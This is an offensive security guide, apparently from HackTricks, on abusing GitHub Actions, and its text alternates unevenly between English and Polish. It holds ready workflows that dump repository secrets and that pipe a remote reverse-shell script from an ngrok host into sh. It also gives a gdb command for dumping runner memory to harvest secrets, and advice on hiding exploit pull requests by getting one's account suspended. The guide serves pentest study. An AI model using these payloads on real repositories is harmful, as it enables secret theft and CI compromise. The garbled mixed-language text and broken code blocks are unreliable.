Abusing Github Actions

Support HackTricks

Basic Information

In this page you will find:

  • A summary of all the impacts of an attacker managing to access a Github Action

  • Different ways to get access to an action:

  • Having permissions to create the action

  • Abusing pull request related triggers

  • Abusing other external access techniques

  • Pivoting from an already compromised repo

  • Finally, a section about post-exploitation techniques to abuse an action from inside (cause the mentioned impacts)

Impacts Summary

For an introduction about Github Actions check the basic information.

In case you can execute arbitrary Github actions/inject code in a repository, you could be able to:

  • Kraść sekrety z tego repozytorium/organizacji.

  • If you can only inject, you can steal whatever is already present in the workflow.

  • Abuse uprawnień repozytorium do uzyskania dostępu do innych platform, takich jak AWS i GCP.

  • Wykonywać kod w niestandardowych pracownikach (jeśli używane są niestandardowe pracownicy) i próbować pivotować stamtąd.

  • Nadpisywać kod repozytorium.

  • This depends on the privileges of the GITHUB_TOKEN (if any).

  • Kompromitować wdrożenia i inne artefakty.

  • If the code is deploying or storing something you could modify that and obtain some further access.

GITHUB_TOKEN

This "sekret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.

You can see the possible permissions of this token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Note that the token expires after the job has completed. These tokens looks like this: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Some interesting things you can do with this token:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Zauważ, że w kilku przypadkach będziesz mógł znaleźć tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.

Lista sekretów w wyjściu Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Uzyskaj powłokę odwrotną z sekretami

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach innych użytkowników sprawdzając logi akcji:

Dozwolone Wykonanie

To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do utworzenia nowego repozytorium w organizacji lub masz uprawnienia do zapisu w repozytorium.

Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić techniki poeksploatacyjne.

Wykonanie z Utworzenia Repozytorium

W przypadku, gdy członkowie organizacji mogą tworzyć nowe repozytoria i możesz wykonywać akcje github, możesz utworzyć nowe repozytorium i ukraść sekrety ustawione na poziomie organizacji.

Wykonanie z Nowej Gałęzi

Jeśli możesz utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github, możesz ją zmodyfikować, załadować zawartość, a następnie wykonać tę akcję z nowej gałęzi. W ten sposób możesz wyeksfiltrować sekrety na poziomie repozytorium i organizacji (ale musisz wiedzieć, jak się nazywają).

Możesz uczynić zmodyfikowaną akcję wykonalną ręcznie, gdy PR zostanie utworzony lub gdy jakikolwiek kod zostanie przesłany (w zależności od tego, jak głośny chcesz być):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forkowane Wykonanie

Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na wykonanie Github Action z innego repozytorium. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.

pull_request

Wyzwalacz workflow pull_request wykona workflow za każdym razem, gdy otrzyma pull request z pewnymi wyjątkami: domyślnie, jeśli to jest pierwszy raz, gdy współpracujesz, niektórzy utrzymujący będą musieli zatwierdzić wykonanie workflow:

Ponieważ domyślne ograniczenie dotyczy pierwszych współpracowników, możesz przyczynić się do naprawy ważnego błędu/typówki, a następnie wysłać inne PR-y, aby nadużyć swoich nowych uprawnień pull_request.

Testowałem to i nie działa: Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął swoje konto.

Ponadto, domyślnie zapobiega uprawnieniom do zapisu i dostępowi do sekretów w docelowym repozytorium, jak wspomniano w dokumentacji:

Z wyjątkiem GITHUB_TOKEN, sekrety nie są przekazywane do runnera, gdy workflow jest wyzwalany z forkowanego repozytorium. `GITHUB_TOKEN ma uprawnienia tylko do odczytu w pull requestach z forkowanych repozytoriów.

Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.

Tak, jeśli atakujący zmieni w PR akcję github, która zostanie wyzwolona, jego Github Action będzie używana, a nie ta z repozytorium źródłowego!

Ponieważ atakujący również kontroluje kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na GITHUB_TOKEN, atakujący mógłby na przykład przesłać złośliwe artefakty.

pull_request_target

Wyzwalacz workflow pull_request_target ma uprawnienia do zapisu w docelowym repozytorium i dostęp do sekretów (i nie prosi o pozwolenie).

Zauważ, że wyzwalacz workflow pull_request_target działa w kontekście bazowym i nie w tym, który jest podany przez PR (aby nie wykonywać nieufnego kodu). Aby uzyskać więcej informacji na temat pull_request_target, sprawdź dokumentację. Ponadto, aby uzyskać więcej informacji na temat tego konkretnego niebezpiecznego użycia, sprawdź ten post na blogu githuba.

Może się wydawać, że ponieważ wykonywany workflow jest tym zdefiniowanym w bazie i nie w PR, jest bezpieczne używanie pull_request_target, ale istnieje kilka przypadków, w których tak nie jest.

A ten będzie miał dostęp do sekretów.

workflow_run

Wyzwalacz workflow_run pozwala na uruchomienie workflow z innego, gdy jest ukończony, zażądany lub w trakcie.

W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Uruchom testy":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: Workflow uruchomiony przez zdarzenie workflow_run ma możliwość dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał.

Tego rodzaju workflow może być zaatakowany, jeśli zależy od workflow, który może być wyzwolony przez zewnętrznego użytkownika za pomocą pull_request lub pull_request_target. Kilka podatnych przykładów można znaleźć w tym blogu. Pierwszy z nich polega na tym, że workflow_run wyzwolony workflow pobiera kod atakującego: ${{ github.event.pull_request.head.sha }} Drugi polega na przekazywaniu artefaktu z niezaufanego kodu do workflow workflow_run i używaniu zawartości tego artefaktu w sposób, który czyni go podatnym na RCE.

workflow_call

TODO

TODO: Sprawdź, czy podczas wykonywania z pull_request używany/pobierany kod pochodzi z oryginału czy z forkowanego PR

Wykorzystywanie Wykonania Forkowanego

Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, że workflow githuba zostanie wykonany, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:

Wykonanie niezaufanego checkoutu

W przypadku pull_request workflow będzie wykonywany w kontekście PR (więc wykona złośliwy kod PR), ale ktoś musi najpierw to autoryzować i będzie działać z pewnymi ograniczeniami.

W przypadku workflow używającego pull_request_target lub workflow_run, który zależy od workflow, który może być wyzwolony z pull_request_target lub pull_request, kod z oryginalnego repozytorium zostanie wykonany, więc atakujący nie może kontrolować wykonanego kodu.

Jednakże, jeśli akcja ma wyraźny checkout PR, który pobierze kod z PR (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):

# NIEBEZPIECZNE. Podano tylko jako przykład.
on:
pull_request_target

jobs:
build:
name: Buduj i testuj
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Dziękuję!

Potencjalnie niezaufany kod jest uruchamiany podczas npm install lub npm build, ponieważ skrypty budujące i odwołane pakiety są kontrolowane przez autora PR.

Dork githuba do wyszukiwania podatnych akcji to: event.pull_request pull_request_target extension:yml, jednak istnieją różne sposoby konfigurowania zadań, aby były wykonywane bezpiecznie, nawet jeśli akcja jest skonfigurowana niebezpiecznie (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).

Wstrzyknięcia Skryptów w Kontekście

Zauważ, że istnieją pewne konteksty githuba, których wartości są kontrolowane przez użytkownika tworzącego PR. Jeśli akcja githuba używa tych danych do wykonania czegokolwiek, może to prowadzić do wykonania dowolnego kodu:

Gh Actions - Context Script Injections

Wstrzyknięcie Skryptu GITHUB_ENV

Z dokumentacji: Możesz udostępnić zmienną środowiskową dla wszystkich kolejnych kroków w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym GITHUB_ENV.

Jeśli atakujący mógłby wstrzyknąć dowolną wartość do tej zmiennej env, mógłby wstrzyknąć zmienne środowiskowe, które mogłyby wykonać kod w kolejnych krokach, takie jak LD_PRELOAD lub NODE_OPTIONS.

Na przykład (to i to), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej środowiskowej GITHUB_ENV. Atakujący mógłby przesłać coś takiego, aby to skompromitować:

Podatne Akcje Githuba Trzeciej Strony

Jak wspomniano w tym poście na blogu, ta Akcja Githuba umożliwia dostęp do artefaktów z różnych workflow, a nawet repozytoriów.

Problem polega na tym, że jeśli parametr path nie jest ustawiony, artefakt jest wyodrębniany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest podatny, atakujący mógłby to wykorzystać, aby skompromitować inne workflow ufające artefaktowi.

Przykład podatnego workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

To można zaatakować za pomocą tego przepływu pracy:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Inny dostęp zewnętrzny

Przejęcie usuniętego repozytorium przestrzeni nazw

Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało mniej niż 100 gwiazdek przed zmianą nazwy, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie na utworzenie repozytorium o tej samej nazwie co usunięte.

Jeśli akcja korzysta z repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący mógłby utworzyć to konto i skompromitować akcję.

Jeśli inne repozytoria korzystały z zależności z repozytoriów tego użytkownika, atakujący będzie mógł je przejąć. Oto bardziej szczegółowe wyjaśnienie: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Przełączanie repozytoriów

W tej sekcji omówimy techniki, które pozwolą na przełączenie z jednego repozytorium do drugiego, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).

Zatrucie pamięci podręcznej

Pamięć podręczna jest utrzymywana między uruchomieniami workflow w tej samej gałęzi. Oznacza to, że jeśli atakujący skomprumituje pakiet, który następnie jest przechowywany w pamięci podręcznej i pobierany oraz wykonywany przez bardziej uprzywilejowany workflow, będzie mógł również skomprumitować ten workflow.

GH Actions - Cache Poisoning

Zatrucie artefaktów

Workflow mogą korzystać z artefaktów z innych workflow, a nawet repozytoriów. Jeśli atakujący zdoła skomprumotować Github Action, która przesyła artefakt, który jest później używany przez inny workflow, może skomprumotować inne workflow:

Gh Actions - Artifact Poisoning

Po eksploatacji z akcji

Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC

Sprawdź następujące strony:

AWS - Federation AbuseGCP - Federation Abuse

Uzyskiwanie dostępu do sekretów

Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak uzyskać dostęp do sekretów:

  • Jeśli sekret lub token jest ustawiony jako zmienna środowiskowa, można go bezpośrednio uzyskać przez środowisko, używając printenv.

Lista sekretów w wyjściu Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Uzyskaj powłokę odwrotną z sekretami</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Jeśli sekret jest używany bezpośrednio w wyrażeniu, wygenerowany skrypt powłoki jest przechowywany na dysku i jest dostępny.

cat /home/runner/work/_temp/*

* W przypadku akcji JavaScript sekrety są przesyłane przez zmienne środowiskowe.
* ```bash
ps axe | grep node
  • Dla niestandardowej akcji ryzyko może się różnić w zależności od tego, jak program używa uzyskanego sekretu z argumentu:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Wykorzystywanie samodzielnie hostowanych runnerów

Sposobem na znalezienie, które Github Actions są wykonywane w infrastrukturze nie-Github jest wyszukiwanie runs-on: self-hosted w konfiguracji yaml akcji Github.

Samodzielnie hostowane runnery mogą mieć dostęp do dodatkowych wrażliwych informacji, do innych systemów sieciowych (vulnerable endpoints in the network? metadata service?) lub, nawet jeśli są izolowane i zniszczone, więcej niż jedna akcja może być uruchamiana jednocześnie i złośliwa mogłaby ukraść sekrety innej.

W samodzielnie hostowanych runnerach możliwe jest również uzyskanie sekretów z procesu _Runner.Listener_** który będzie zawierał wszystkie sekrety workflow na każdym etapie, zrzucając jego pamięć:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Sprawdź ten post, aby uzyskać więcej informacji.

Rejestr obrazów Docker w Github

Możliwe jest tworzenie akcji Github, które budują i przechowują obraz Docker w Github. Przykład można znaleźć w następującym rozwijanym:

Github Action Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.

Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Then, the user could search for leaked secrets in the Docker image layers:

Wrażliwe informacje w logach Github Actions

Nawet jeśli Github próbuje wykrywać wartości sekretów w logach akcji i unikać ich pokazywania, inne wrażliwe dane, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest specjalnie skonfigurowany.

Zacieranie śladów

(Teknika z tutaj) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie nie możemy usunąć PR z internetu, ale jest pewien zwrot akcji. Dla kont GitHub, które są zawieszone przez Github, wszystkie ich PR są automatycznie usuwane i usuwane z internetu. Aby więc ukryć swoją aktywność, musisz albo sprawić, by twoje konto GitHub zostało zawieszone, albo aby twoje konto zostało oznaczone. To ukryje wszystkie twoje aktywności na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR z exploitami)

Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i oto masz, uczyniłeś swój exploit niewidocznym na githubie.

Jedynym sposobem, aby organizacja dowiedziała się, że została celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty.

Narzędzia

Następujące narzędzia są przydatne do znajdowania workflow Github Action, a nawet do znajdowania podatnych:

Last updated